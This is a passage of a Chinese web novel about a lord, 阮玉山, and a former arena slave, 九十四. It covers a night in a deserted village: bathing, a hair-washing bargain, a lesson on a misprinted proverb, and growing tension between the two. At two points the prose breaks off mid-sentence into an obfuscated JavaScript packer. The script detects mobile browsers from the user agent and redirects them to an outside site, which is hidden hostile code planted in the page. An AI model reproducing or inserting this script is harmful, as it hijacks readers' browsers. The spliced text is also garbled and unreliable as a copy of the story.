先前他们被浓雾卷到这里时,月亮在西,过山峰的山头向西,这会儿他们再看,月亮在东,过山峰的山头也朝东了! 阮玉山说:“刚才事出反常,咱们看到的东西也不一定是真的;现下一切正常,咱们按寻常路线回去便是。” 正好他也记得村子的具体方位。 老太太在得知他要出门北上时把矿山的任务交代给他,阮玉山自然把这很当一回事,提前悉知了关于过山峰以及这山周围的一切。 过山峰下沙佘关,关内第一处村落便是当年傍在阮老太爷丧命的矿山脚下的村子,名叫目连村。 顺着山头的方向沿山脚走上八十里就能到一片林子,再从林子往东走十里就能进村。 如果阮玉山的方位判断没错,他们此时正在山脚外的林子里,八十里的距离恰好够看清过山峰的轮廓,但无法辨认它的山脉和植被。 二人捧着一叶绿血凭借月光和火折子在丛林里穿梭,约莫半个时辰回到了村子。 村中一片寂静,家家户户院口都燃烧着一个火盆,但仍旧静得瘆人,叫人闻不出一丝活气。 九十四且行且顾首,确认这四面八方看不着一个活人出没时也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093495|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就收回视线,对着阮玉山手里的那罗迦血液出神。 阮玉山的手很稳,他们盛血的叶子很大,叶片也平,但阮玉山胜在山五指奇长,骨节也大,天生一对拿枪握杆的手,硬是走了一路也没把血撒漏一滴。 “在想什么?”阮玉山在前头走着,当真像后头长了第三只眼,嗓音低沉沉地传到九十四耳朵里,“想我们屋子闹出那么大动静,怎么也没人出来看看?” 九十四摇摇头,并非否认阮玉山的话,而是想到另一件事:“你说,那罗迦,只出现在死气和怨气最重的地方?” 阮玉山“嗯”了一声:“但凡有点活人气息的地方,都催生不出那罗迦。” 说完这话两个人都沉默了。 他们都清楚阮玉山没说出来的后半句话是什么意思。 这里曾经死过很多人,死得一个不剩,并且死了非常久,久到现在他们两个大活人出现在此时,这片土地上已经有一大群幽灵一般的那罗迦了。 那罗迦怕火,火代表活人群居的痕迹,可这村子里每家每户点燃的火盆究竟是防那罗迦还是别的东西,他们目前不得而知。 到了院子已是半夜,阮玉山先去院里的地窖里提上两大木桶的水,往灶上烧了,再把那罗迦的血沿栅栏撒一圈,回到灶上发现九十四不知几时去屋里把自个儿上午藏着的三个羊肉包子放锅盖上温着,正蹲在灶前眼巴巴等热了吃。 阮玉山朝屋子里探头看了看,发现除了九十四打落在地的食盒,整个房屋和他们下午刚来时没有区别,好像夜里那一场席卷的尘沙和风暴都是他们的错觉罢了。 他用院里的葫芦瓢舀了半盆凉水,再打开锅舀了半瓢热水,混在脸盆里,就着半冷不热的水痛痛快快洗了把脸。又想起九十四刚才在林子里跟他打架,实打实地在地上滚了好几圈,便招呼对方:“过来洗脸。” 九十四瞅瞅他,又瞅瞅盖上的包子,决定还是先洗脸再吃包子。 毕竟包子在那儿不会跑,盆里的水要是不快点过去洗,指不定阮玉山就给倒了——以前在饕餮谷,驯监便总是以这种方式戏耍他们为乐。 九十四刚起身过去,阮玉山就着院门口火盆的光看清他两只手,当机立断地把九十四快凑到水里去的脸往后一推:“先洗手。” 九十四洗手。 洗完水黑了。 阮玉山一边倒水一边哼笑:“嗬!脏成泥菩萨了。” 说一句还不够,还接着说:“驴打滚儿也没你能沾灰。” 九十四在后头幽幽盯着阮玉山。 脏也不是他想脏的,饕餮谷里要是天天也有热水给蝣人洗脸,他能比他还爱干净。 更何况自己再脏也不像阮玉山黑得跟马粪一样。 ——其实阮玉山并没有黑得像马粪,他只是风吹日晒一身铜皮铁骨比其他人更为健壮,肤色又更深一些。 怎奈九十四从出生到长这么大,眼界实在有限,看过的东西也实在不多,不知道什么是古铜肤色,只能在自己的认知里寻找一个足够靠近阮玉山的肤色又不失恶毒的东西来形容对方,这样方能解气。 阮玉山倒完水,一回身就发现九十四转头朝灶上拿自己包子去了,边走嘴里还边悄么声儿嘀咕了几句蝣语。 这下他不用问都能确定九十四在骂他。 不过俩人已经翻天覆地闹了一夜,这会儿他也没工夫跟九十四计较,从林子里滚了一圈脏得他难受,他得洗澡。 阮玉山从屋子里找到澡豆和陶桶时,九十四正拿着热热的包子蹲在檐下安安静静地吃。 檐下有桌子和木凳,九十四没坐。 饕餮谷的蝣人没有任何权利去触碰笼子外的任何物品并据为己有,九十四下午看见阮玉山坐过了这凳子,他便只坐屋子里的——他的精神与阮玉山平起平坐,但经年练就出习惯的身体还没学会让自己去触碰高他一等的人碰过的东西。 他吃着包子看见阮玉山把锅里的热水舀到桶里,又把桶提到院儿里开始脱衣裳。 九十四朝院里问:“你要洗?” 他说完,又觉得这话不够中土,于是在脑子里搜刮一圈后重新问:“你要沐浴?” 阮玉山嫌他明知故问:“我不沐浴,我晒太阳。” 九十四拿着包子站起来,对着阮玉山健硕高大的背影,要求道:“我也要洗。” 阮玉山回头瞥他一眼,又回去接着脱衣服:“那你洗。” 他也没兴趣在这些事儿上刁难九十四。 九十四说:“我还要洗头发。” 阮玉山有口无心地接话:“那你——” 他话没说话,蓦地意识到什么,慢悠悠转过去,眯着眼凝视九十四:“你是,要我给你洗?” 九十四站在檐坎上,这下是真的居高临下看向阮玉山了。 “你喝我的血,给我洗头发。”九十四认为自己这要求提得理所当然,因此把话说得毫不心虚,“怎么了?” 18.聪明 阮玉山明白了。 这是到他面前算账来了。 九十四给他喝血,计划是让他放了自己,哪晓得跑没跑成,还白让他咬一嘴血,所以怎么着都要把这口血给赚回来。 又因为白喝一口血的人是最讨厌的阮玉山,这账更得加倍算了。 阮玉山一琢磨,还真不好反驳。 毕竟自己确实白咬了人家一口,也没给出什么交易。 这要换平时,算计他的事儿,都用不着他自个儿开口,眼睛一低旁人就瞅出来是什么个意思,哪还敢跟他拨着算盘一厘一毫地算账,可在这儿,换了九十四就不好使。 且不说九十四看不看他的脸色,要是看出来他不乐意,九十四只会更来劲。 阮玉山叉着脱了一半衣裳的腰,人高马大地立在院子里,透亮的月光照在他身上,从胳膊到腹部每一片硬得发紧的肌肤都显现出精壮的轮廓。 九十四的要求简直让他无话可说到笑了一声,阮玉山低下脖子摇了摇头,凝眉思索片刻,很快把自己说服了。 站在九十四的立场,这要求确实没错。 “烧水。”他指着自己从地窖打上来的两桶水,转回去接着脱衣裳,“洗完再伺候你。” 九十四也不废话,一手提起一个桶,咚咚两下就往锅里倒了。 身后传来冷水进锅的声音,阮玉山绞了澡巾,加快速度一点一点把自己身上擦拭干净。 玄者的骨珠不同常人,打出生起,骨珠里充沛的玄气让娑婆大陆的无数玄者拥有先天的身体优势,尤其是自愈能力——虽然比不得蝣人那般天赋异禀,但也比普通人强上数倍。 先前在雾中阮玉山腰间和小腿受的伤现下已停止出血,新伤口毕竟沾不得水,他只能用澡巾擦干净全身,再把伤口周围的血迹和乱七八糟的泥沙一点点擦下去。 这是个细致活,他洗完已是两刻钟以后,锅里热水正沸腾翻滚。 行军出战惯了的人,包袱里总时常背着止血疗伤的药。 阮玉山把自己一身打整得舒舒服服,自然是不乐意再穿脱下来的脏衣裳。 于是他就这么赤条条地大步流星往房里走。 他是自来生得个高腿长,一身皮肉劲瘦又紧实,月光照在他后背上,真像一层抛了光的古铜。 阮玉山对自己的容貌外表向来十分自知其才,不过他并不引以为傲。 一副皮囊罢了,对于他堂堂红州州主而言,是最不值一提的长处。 只要他是阮玉山,是健壮俊美也好,其貌不扬也罢,一门心思扑到他身上的人永远都会多得数不过来。 权势,金钱,名利,才是这世上最引人追逐的东西。 比如现在。 阮玉山赤身裸/体大摇大摆地经过九十四身后,九十四是眼皮子都懒得抬一下,看都不看一眼。 阮玉山眼一睨,把手里洗干净的澡巾轻轻“啪”的一下打在九十四脑袋上,吩咐道:“把大的陶桶搬出来,木凳搬过去,放在陶桶后头。” 九十四一个转身就走了。 还是没看他一眼。 阮玉山冷笑。 蝣人,唯利是图。 两个人一块儿踏进房门,阮玉山往床上走,靠在床头给自己的腰腹包扎,缠了两圈绸带,发现不够用了,估摸着又是林烟出门时太过马虎,府里婆子丫头们不清楚这些东西要带出门的份量,用丝绸裁成包扎带,给多少林烟就塞多少进包袱。 “这臭小子。” 他低声骂了一句,剪断手里的绸带,最后一截给自己小腿的伤口用。 正低头包扎小腿,对面响起哗啦啦的倒水声,阮玉山抬头,发现九十四已自己个儿把烧好的热水混着冷水倒进陶桶里。 不过多少热水混多少冷水才能让水温差不多合适,九十四对此明显一无所知,一看就是刚才在院子里瞧见阮玉山冷热水混着洗脸才学会的。 他一股脑先把热水全倒桶里,再抬起满满一木桶冷水,倒一会儿,停下往陶桶里摸一把,如此来回三四次,九十四还要再倒时,阮玉山突然出声:“够了。” 九十四望向他。 阮玉山一面给自己小腿缠绸带一面解释:“手摸着是温的,身上洗着就冷了。” 要想洗着合适,就得手摸着有些烫才行。 他听见木桶放到地上的动静,再抬眼,就撞见九十四背对着他脱衣服了。 九十四穿得单薄,一身衣棚老板缝制的中衣,一件才买的翠色外衫,就没了,因此脱起来十分便利。 他没觉得当着阮玉山的面脱衣裳有什么害臊,他是饕餮谷出来的蝣人,刚刚被阮玉山带入世,还不知道何为害臊——那堆被阮玉山称作“破烂”的书页残卷上也没有提到当着旁人的面脱衣裳就得害臊。 反正蝣人们自小都是这样过来的:天冷了就把一身狗皮裹紧些,天热了睡在笼子里不舒服就把自己脱个精光。 九十四不会随随便便这么做,仅仅是因为他觉得人不应该不分时候就让自己□□。他不做,也不准百十八和百重三这么做——虽然百十八在夏天常常等他睡着以后就把自己脱光,在他醒来之前又悄悄把衣裳穿上,还顺便把百重三也带着干。 这些都跟害不害臊无关。 洗澡的时候脱光衣裳,九十四觉得是可以的。 至于后面的人虎视眈眈,他暂时察觉不出异常。 阮玉山屈着一条腿,抓着绸带的手搭在膝盖上,还是用那样饶有兴趣的眼神盯着九十四。 男人的身体他见得多了,军营里一个个臭汉,阮玉山见着他们赤身裸/体就烦。 老太太在家里给他立规矩,他把这规矩也带到军营里。 谁敢在他面前衣衫不整地晃悠,他扬腿就是一记窝心脚再给打出去。 常人很难受得住他一脚,踹在心口上没几个不呕血的。 这会儿九十四在他面前宽衣解带,他没有想起窝心脚,只是捏着自己手里的绸带,不自觉就用了力。 九十四脱衣裳很有章程,大抵是对自己第一套衣服很珍重的缘故,他解了衣带就把衣带折好放在凳子上;再脱外衫又把外衫折好放在衣带上;脱了中衣再把中衣折好放上挨着的另一个凳子,然后是中裤、外裤,各占一个凳子;最后是鞋子和袜子,依次脱了放在扫干净的地面上。 于是他一身的装束就在阮玉山眼前规规矩矩摆成了一排。 九十四踏进浴桶时阮玉山注意到他的头发盖过了腰际,叫人看不见腰线的弧度,腰际下是翘挺的圆白,随后是细细长长的两条腿,蝣人十年如一日地在饕餮谷忍受非人的残酷训练,九十四修长伸展的四肢带着一股隐而不发的力量,浑身的轮廓好似总是绷紧的,估计一窝心脚踹人的效果一点不会比阮玉山差。 他的小腿比大腿长一些,脚腕也是细瘦苍白的,一用力就能看见腕骨后方的那根软筋鼓动。 阮玉山攥紧了绸带。 绸带很软很滑,一尘不染,握在手里又细又薄。 阮玉山隔着自己指腹那层粗糙的薄茧,将它一下又一下似有若无地搓揉摩挲着,把绸带也搓揉热了,沾上他指尖的温度。 再一眨眼,九十四坐进浴桶里去了,跟个睡莲似的剩个脑袋露在水面上。 过了没一会儿,睡莲突然支楞起来,冲阮玉山开口:“你过来?” 阮玉山想起自己还得伺候花瓣儿。 他草草包扎完小腿,披上衣服就过去了。 九十四先前在外边已倒好了洗头发的水,阮玉山把木盆端到九十四身后的凳子上,九十四一仰头,乌黑浓长的头发就泡进了水。 顺便也让站在身后的阮玉山把水里光景看个精光。 水是从村口的井里打上来的,清亮得不见一点浑浊,老板隔天就换,储存在地窖里,以备不时之需。陶桶也很干净,从侧房里推出来摸不到灰。 九十四整个身体浸在水里,下水时低头洗了把脸,觉得胸口有点闷,又坐起来些,发现水位在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过他觉得带着这个眼神的九十四很有点意思,并且始终好奇九十四到底在心里嘀咕自己什么。 “哪里来的钱?”阮玉山一边问,一边把手里的水掸到九十四脸上。 九十四一偏头就躲开迎面的水珠,看在阮玉山此刻尽职尽责的份上不跟他计较:“斗场。” 蝣人斗场每开一回,少则三四千看客,多则五六千,看客席中的人不说富甲一方,也多为财大气粗之辈。 斗场如斗兽,来看这东西无非是图个刺激。 只要场子里的蝣人打得尽心尽力,让看戏的老爷们兴奋了,那钱币金银就跟下雨一样往场子里抛洒。 虽然这些丢进斗场的打赏大部分让驯监们收了去,但上场的蝣人随手趁机捞些油水他们也是默许的。 否则也没人肯在斗场里卖力地打,卖力地拼,反正这些银钱最后还是会回到驯监们手里——蝣人拿钱也没机会花出去,攥在手里唯一的作用就是拿给驯监,偶尔求他们帮忙带些东西,或是吃的,或是用的。只要不过分,驯监们基本也会同意捎带点好处。 只是蝣人要付的价钱比寻常价钱昂贵数倍:一个馒头一文钱,蝣人得付一个碎银子;指甲盖大小的一袋白糖十文钱,蝣人得付一枚金子;即便是不要钱的一桶洗澡水,蝣人也得付三文,顺带给驯监至少一个银锭子的跑腿钱——水重嘛,提起来费力。 九十四的中土话还不足以支撑他解释那么多,不过他稍微一提,阮玉山就听明白了。 难怪他出现在饕餮谷那天,进入斗场的蝣人瞧见看客席里空空荡荡,一个个都臊眉耷眼。 “你还挺聪明。”阮玉山一边用皂角搓揉九十四的头发一边说。 九十四点头,毫不谦虚,甚至再把头往后仰了些,直视阮玉山的眼睛,认真道:“我和我的族人都很聪明。” 19.纠错 阮玉山捧着他的脑袋,定定低眼注视他。 下一瞬,突然把水珠弹到九十四的眼睛里,逼得九十四眨眼躲开。 “不害臊。”他一边拿皂角给九十四洗头发一边说。 “什么是害臊?” 九十四第一次听到这词儿,躲开了水珠,不再仰起脸,而是把头微微侧向后方,问阮玉山问题时睫毛就微微地扇动,一副等待回答的神色。 阮玉山睨着他,忽起了促狭的心思。 “就是笨。”他说完这话,难以自控地勾起唇角,压了压声音,免得对方发现他话里的笑意,“说你不害臊,是夸你聪明。” 九十四维持着侧头的姿势想了会儿,估摸着没从阮玉山的解释里找出不对劲,勉强信了,又问:“怎么写?” 阮玉山摆起架子:“我可没义务教你。” 九十四不吭声。 他不明白义务又是什么意思。 不过这句话他听懂了,阮玉山的意思是不想教他他。 这要是换了常人也就罢了,两个人斗嘴,这一场你胜,那一场他胜,再一场打个平局,都是常有的事儿,偏偏九十四是个在外人那儿吃了一口瘪,就一定要出一口气的人,而阮玉山在他那儿显然还是个外得不能再外的非我族类。 因此他一连身从浴桶里坐起来,顺带着乌浓的长发掀起一把水帘,滴滴答答地淋在阮玉山手上。 屋子小,浴桶旁边就是九十四放衣裳的凳子,凳子旁边又是九十四睡觉的地铺。 他从陶桶里探出半个身子,把自己叠好的衣裳小心翼翼翻开,翻到衣兜,从里头拿出那叠熟悉的书卷残页,再往后一靠,语气轻描淡写,带着点蔑视的傲气,头也不回地吩咐阮玉山:“你接着洗。” 然后就认认真真翻阅那堆破烂看起书来。 颇有一副从阮玉山嘴里问不到也总能在书上翻到的架势。 阮玉山嘲讽地笑了一下,甚至有点分不清是笑九十四还是笑自己。 九十四对他这个洗头工的身份十分尊重,既然要他低微地伺候自己洗头发,就坚决不把他当高贵的老爷来看,对着他呼来喝去,相当得心应手,仿佛已成了这一方天地里的皇帝。 他捧起九十四的脑袋,一点一点用五指往后顺九十四的头发,一时兴起,还不忘抑扬顿挫地弯腰配合:“遵——旨。” 九十四听不懂这种毕恭毕敬的嘲讽,也不明白这个词本义带着点冒犯天威的恭维,他只是认为阮玉山很莫名其妙,总是时不时从嘴里冒出些不着四六的话,于是当作没听到,根本不搭理。 阮玉山是站在后边给九十四洗的头发,双手往下一够,两腿中间正好是九十四坐起来的高度,两个人这样的姿势洗头发很合适,干什么都合适。 他眼睛随便一扫就看见九十四手里捧着的残页,兴许是年生久了,残页上边许多印字都已脱墨,十个字有八个都是模糊不清或者直接空缺的。 比方那一句,前一半印得方方正正——君子坦荡荡。 到了后半句,印墨留下的,就只剩“小人”二字了。 也不知是谁,为了这话能让人看得完整,硬是用鬼爬般的笔迹模仿着印字把后半句补充好,可碍于文学造诣有限,补的内容跟原文差到了爪洼国去。 阮玉山定睛一看,就瞧见整句话写的是:君子坦荡荡,小人常生气。 这话让他第一次露出了五味杂陈的表情。 尤其是想起一个时辰前的林子里,九十四咬牙切齿骂他是小人的样子时。 他忍不住问:“这些东西都是谁给你的?” 谈起读书九十四便很有跟人交流的欲望,因此方才阮玉山那副拿腔作势不教他中土字的态度他也不计较了,回答道:“驯监。” 饕餮谷的蝣人都不爱看书,九十四每每抓着百十八跟自己一块儿看这些东西时,不到片刻功夫百十八就能窝在笼子里睡得不知东南西北。 这不怪他的族人,他们每天光是活着都精疲力尽,衣食尚不能保全,读书不过是在自己的黄泉路上种花罢了。 九十四自然也不觉得自己因为读书就比他们高贵,他只是抱着一点渺茫的希望,日复一日地假想着,万一自己以后有机会得到自由,知道解救蝣族诅咒的办法呢? ——万一呢? 驯监说现在外头的人都说中土话,写中土字。有朝一日他出去了,却说不得蝣语,只能像个天聋地哑,一字不识,在天下寸步难行,又何谈去寻找解救蝣族的办法?到那时再去读书识字,岂不是晚了。 他靠着这点微茫的幻想,拿钱打通驯监,让他们多多带自己上斗场。 上了斗场就能捡钱,捡到更多的钱,再上贡似的送到驯监的手里,拜托他们到外面给他买书——什么书都可以,新书旧书,烂书好书,只剩一页半页的书,只要是书就行,有字就行,他来者不拒。 驯监们总是拿最多的价钱给他买最破烂的书,日子久了,他们想出一个办法:去书摊上买下最便宜的一本旧书,九十四每给一次钱,他们就撕下一角拿给他,一本万利,书上的残页足够应付到这个蝣人死去。 九十四对此当然清楚,不过没关系。 生来低人一等,想要改命向上爬当然得付出非比寻常的代价。 他们要的是钱,他要逆的是天。 九十四跟驯监所求不同,故而在斗兽场存下的那些金银总是被他痛快地送进驯监的口袋。 他朝若能自由,往日所有的买卖都不值一提。 好在市面上最便宜的旧书永远是儿童丢弃的学堂课本,这正是九十四所需要的东西。 会在饕餮谷做驯监的,不管平日多作威作福,九成以上都是奴籍。 是奴隶,便更有九成不会看书识字。 九十四花了不少的钱托驯监在谷里找到一个勉强认字的三等下人,是一个平日洒扫藏书阁的老头子。 他用钱买通了老头,在每月休息不用出工的晚上,同他对一遍残页上的词句,不须像谷里小姐公子们的那些教书先生一样引经据典,只用那些字告诉他怎么读,怎么个顺序写,是个什么意思,九十四就很知足。 老头子本身也是个半壶水,兴许半壶都没有,只有个两滴。一页书上的十个字他只能认得五个——每个字都认一半。 两个人就这么错教错学,直到被阮玉山发现不对劲的这天。 “君子大人,”他指着九十四书卷上的句子提醒道,“小人,不是这个意思。” 九十四对他自谦的称呼接受良好,行云流水地接话:“那你是什么意思?” 阮玉山:“……” 阮玉山不争口舌之快,伸出右手食指,不客气的开始在九十四脑袋上写字。 “小人,常戚戚。”他一边念一边写,写到“戚”字时便感觉九十四看书的动作停下了,正专注感受他在他头顶写字的痕迹。 “戚,是这个戚。”阮玉山把这字在九十四头顶写了两遍,同时报复性地用一根手指头将九十四的头发搅得一团糟,“怨天怨地,斤斤计较的意思——你的书,是错的。” 九十四不说话了。 在念书识字这件事情上,阮玉山和在藏书阁扫地老头子相比,前者一定是对的。 他这回慢慢地从浴桶里坐起,宛如瀑布的长发也跟着在阮玉山手中滑过,最后留下一把卷曲的发尾在阮玉山掌心。 九十四再次从陶桶里探出身体,在自己的衣服间翻翻找找,竟然找出一个小小的袋子。 他从袋子里拿出指甲盖大小的一个圆盒和一根绣花针,打开盒子是压得紧实的墨粉。 九十四把绣花针穿线的那一头拿在手里,蘸了墨粉以后在浴桶里转过身。 他弯曲的发尾因此从阮玉山掌心滑落,阮玉山看见九十四迎着窗格外明亮的月光对自己仰起脸,眼珠外一圈浅淡的蓝色使他的面容看起来像刚刚出水的河妖。 九十四将手中的针和书卷残页递给阮玉山,干脆利落地要求道:“你再写一次。” 阮玉山可不会轻易被美色迷了心智。 “叫我君子。”阮玉山的态度高高在上,“承认你是小人,我就写给你看。” 九十四有点想不过。 他觉得自己可以被称作一个小人,毕竟他确实总是对着阮玉山斤斤计较,可阮玉山怎么能算个君子? 他要是承认阮玉山是君子了,就显得他更小人了。 他也不知道一个小人对着另一个小人斤斤计较还算不算小人,于是九十四干脆只承认一半:“我是小人。” 他把纸和针往阮玉山手里塞:“你写吧。” 九十四认为自己的处理非常得体,甚至都有点慷概大方了。 毕竟承认自己是小人,就囊括了承认阮玉山是君子的行为。 阮玉山讽笑一声。 打量他看不出他在想什么? 九十四那个眼神,明目张胆地就是在说,即便自己是个小人,那也比同为小人的阮玉山高尚许多。 下边九十四听见他笑,也警惕地盯了他一眼。 好像在告诉他:我也知道你在想什么。 两个人彼此心照不宣,阮玉山懒得拆穿九十四,毕竟让这个人亲口说出自己是个小人 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“你再写一遍。”他又转过来,眼神沉静,但丝毫不掩饰自己那股想要起身跟阮玉山打一架的想法,拉着个脸命令道,“慢慢写。” 这话说得很有威胁的意思。 并且九十四确实准备阮玉山再犯一次欠就起来给他一拳。 阮玉山心满意足。 并且很想在九十四臭得能拧出水的脸上摸一把。 不过为了今晚彼此安稳睡觉,他暂时克制了这个念头,决定以后再寻机会。 多摸几把。 待他写完字落完笔,九十四就把他手里的针和纸拿过去,蘸了墨粉,凭记忆将他写的“戚”字来来回回临摹了数十遍。 正事儿上阮玉山并不做为难九十四的行为,他难得耐心地俯身凑在九十四旁边,看着九十四手生地学着那些横平竖直的笔触,写到错处,他便出言指点,九十四改过,又一笔一划慢慢重写。 两个人在灯下相安无事地度过片刻时光,九十四没意识地打了个冷战,阮玉山一瞥水面,说道:“水凉了,出来。” 九十四先放好墨粉和书卷,再从桶里起身,接过阮玉山递来的澡巾擦干了身体,刚要迈出去一脚踩到地上,就被阮玉山一眼瞅着。 这个蝣人在努力地让自己像普通人一样入世,可身体跟不上灵魂,难免摆脱不了一些微小的兽性。 比如要踏进床被的脚不记得穿鞋,赤着从桶里出来便要下地。 “脚不要踩地。”阮玉山眼见他立刻就要踩下去,语气便不自觉严厉了些,“——会脏被子。” 蝣人的感知天然灵敏,在阮玉山的话脱口那一刹,纵使脚底离地面不过毫厘,九十四也把腿也稳稳地悬在了那里。 由于以前从没睡过被子的缘故,九十四自然意识不到自己的脚踩上地面会弄脏床被。他听到阮玉山的话先是有一瞬的呆愣,察觉过后便生出一丝无措。 屋子里莫名生出一阵短暂的寂静。 阮玉山凝目盯着九十四。 他对九十四同他横眉冷对或者怒目而视的模样很感兴趣,但他并不喜欢看到这个人失措的样子——还是因为这种人人都会的无关紧要的小事。 像看见一条无孔不入的竹叶青被打了七寸拔了毒牙,九十四能对着他的羞辱和挑衅报以百折不挠的回击,现下却因为一床被子,把一只脚悬在地面上,一动不敢动,前后失据了。 阮玉山无声地走过去,将一个木凳收拾出来,放在九十四脚边,低声道:“踩过去,坐到桌上。” 九十四得到命令,异常听话地照做。 挪了位置,他还是不知道自己接下来该做什么。 他过于敬重地上那床干净的棉被,像敬重自己新的人生,由于太过陌生,毫无经验,便一时方寸大乱。 因此九十四只能看着阮玉山,好似指望阮玉山开口,告诉他下一步该怎么做。 可是阮玉山什么话都没有再说,像在因为九十四面对一床被子的考验表现得无力回击而不快。 柜子里有干爽的棉帕,他取了,走过来,一言不发地弯下腰,抬起九十四的脚,一点一点地擦干。 九十四看见阮玉山躬身下去的脊背,感觉到对方宽大的手掌隔着一层棉布摩擦过他的双脚。 阮玉山的手是热的,他的脚原本凉了,此刻似乎又回温了些。 “以后要这么做。”阮玉山的嗓音低沉沉的,透过背影传到九十四的耳朵里,“学会了没有?” 20.懒腰 九十四没有说话。 他回过神来,微微偏头,用眼角乜斜阮玉山,似乎在思考什么。 蝣人对笼子外的世界认知一片空白,不懂吃饭睡觉,不会看书识字,但这不代表他们迟钝愚笨。 阮玉山的举动透出一种对九十四而言全然陌生的感觉,虽然没有之前那样剑拔弩张的敌意,却让九十四本能地察觉到危机。 这世间爱和恨都很难纯粹,但蝣人不是。 九十四仇视一切将鞭子打在他身上的人,仇视驯监,仇视谷主,仇视所有源源不断来到斗场为他和他的族人自相残杀而欢呼喝彩的看客,一如他仇视阮玉山;同样他感激时不时往他们身上塞点吃食零嘴或钱币的刺青师,感激路过笼子时制止殴打他们的驯监并说出“众生平等”的谷主女儿,他也感激每个月按时赴约教他看书识字的洒扫老头。 恩就是恩,仇就是仇。九十四活了十八年从来把这两种感情看得泾渭分明。 阮玉山显然应该在仇视的那一端。 可此刻对方的所作所为让他们之间生出了一些不清不楚的杂质,不是九十四与族人之间相依为命的惺然,也不是刺青师和小姐对蝣人居高临下的怜悯,这杂质太过模糊也太过新奇,九十四在眼下短短片刻之内尚未参透。 他得用更多时间去琢磨这到底是什么。 阮玉山听不见他的回答,便回过头,审视他的神色,同时又问一遍:“听见了吗?” 九十四悄无声息收回自己的脚,闷头沉默了会儿,忽然开口:“把刺青解了。” 阮玉山刚才还略微可以称作复杂的情绪荡然无存。 只觉得九十四很欠收拾。 蝣人,只会恩将仇报。 他拎起自己早前换下的衣裳踏出门,给九十四留下一句:“滚去睡觉。” 九十四睨着眼珠子目送他擦身而过,眼神不甘心地闪了一下,若无其事地踩进地铺。 这是他第一次睡在笼子外边,甚至是被子里,九十四的地铺在阮玉山的床脚边,不算宽敞,但翻身,平躺,都够了。 他默不作声地瞥一眼门外,确定阮玉山不进来,就盖上被子,再伸出胳膊,学着以前驯监睡觉的模样伸了个大开大合的懒腰。 伸完懒腰以后九十四把胳膊放回被子里,心想,这也没什么好舒服的。 他把脑袋缩进被窝里,闭着眼睛呆了会儿,实在闷气了才探出头来。 然后他伸展四肢端端正正仰躺在地铺上,对着顶上房梁眨了眨眼睛,闭目睡了。 睡下没多久,九十四朝左翻了个身。 翻完又睡了会儿,再朝右翻了个身。 最后他想了想,把身体蜷缩成以前在笼子里睡觉的姿势,才终于睡着了。 此时距离日出还有两更天,阮玉山又去地窖打了水,准备洗衣裳。 他没世家公子哥儿身上那些懒散娇贵的脾气,兴许以前有,在老太太手下磋磨那么些年,也早给他纠除得一干二净。 洗衣做饭这些粗使活计他打九岁起就在军营里干了整整两年,还有更脏更累的事他也做过。阮府有阮府的规矩,在那里主子是主子,下人是下人,倘或主子自降身份做了下人的事,那府里不少老滑头就要反过来欺主了。 出了阮府,他便不过多计较和讲究——毕竟真要讲究,天底下也没几个地方比得上阮府的规格气派。 林烟被他打发走了,府里的小厮是他自己嫌累赘不肯带,因此这会儿要自个儿动手洗衣做饭他也无所谓。 院子里有个浣衣台,阮玉山在月下洗着衣裳,发觉今晚月亮分外的圆。 仔细一想,竟还有两天就到这个月的望日了。 离府前老太太交给他一副矿山的矿道图,那是当年佘家寨刚开始采矿时,阮老太爷留在寨子里的监工连夜画好派人送回阮府的,阮老太爷过目不忘,看了一眼便要烧掉,以免留在府中有人偷盗多生事端。正要烧呢,被老太太一巴掌阻止,说自己还要留着看。 老太太把这图保存了几十年,一个月前在阮玉山面前拿出来还跟新的一样,忘了说一句这图要好好留着再带回家。 于是阮玉山拿着图,在路上看了一遍,记到脑子里,看完就烧了,跟他曾祖父一个德行。 手里的衣裳洗完,阮玉山还顺道烧了壶茶水。 茶是府里婆子们给他整理进包袱的茶,为的是给他漱口,不做他用,阮玉山出了门想喝就喝想漱就漱。 烧完茶他又进屋添了一次炭火,正要去外头洗手,瞧见屋子里九十四的洗澡水还没倒。 他就着九十四的洗澡水在浴桶里洗了个手,一边洗,脑子里一边浮现出九十四坐在这里头时的模样。 哪个位置放脚,哪个位置屈膝,靠在哪边坐下,在哪里仰头,双手扶在边缘何处,水面波动时涌到九十四胸口下方几寸,阮玉山惊觉自己竟然记得这么清楚。 他的指尖在水里来回拨弄了一圈,整个浴桶在蜡烛和月亮交融的光晕下泛起阵阵涟漪。 涟漪最汹涌时,阮玉山抽手而出,转身走向桌面倒茶漱口。 他低着头,目光却扬到了与他一桌之隔的那个地铺上。 阮玉山看见九十四背对着他,把身体蜷成一团,窝在被子的一角,分明不是瘦小的个子,却好像被什么禁锢着,睡得四面楚歌,恨不得把全身每块骨头也缩短一截。 九十四天然卷曲的头发铺洒在枕头和后背,任由烛光和窗外的月光在那上面交织奔涌,像一匹被揉皱的黑色绸缎。 手里的茶早早地递到嘴边,阮玉山眼神收紧,盯着蜷在地铺上的那个身影,一直到茶水变凉,他才想起自己举着茶杯一口没喝。 他蓦地转身靠在桌上,空闲的那只手放在身后撑着桌面,五指抓紧桌沿,好像一个不小心就会道心不稳再转回去。 浴桶里还泛着细小涟漪的水面——今夜九十四在踏进浴桶前先弯腰掬了一捧水,埋头在掌心喝了两口。 那时九十四的头发从后背倾斜到半空,露出一截若隐若现的腰窝,阮玉山瞧见这一幕时还曾在心中嘲讽,认为九十四真是天赋异禀,没人教过就能自然地做出这许多勾栏做派,可惜除了他以外无人欣赏,九十四只能白费功夫。 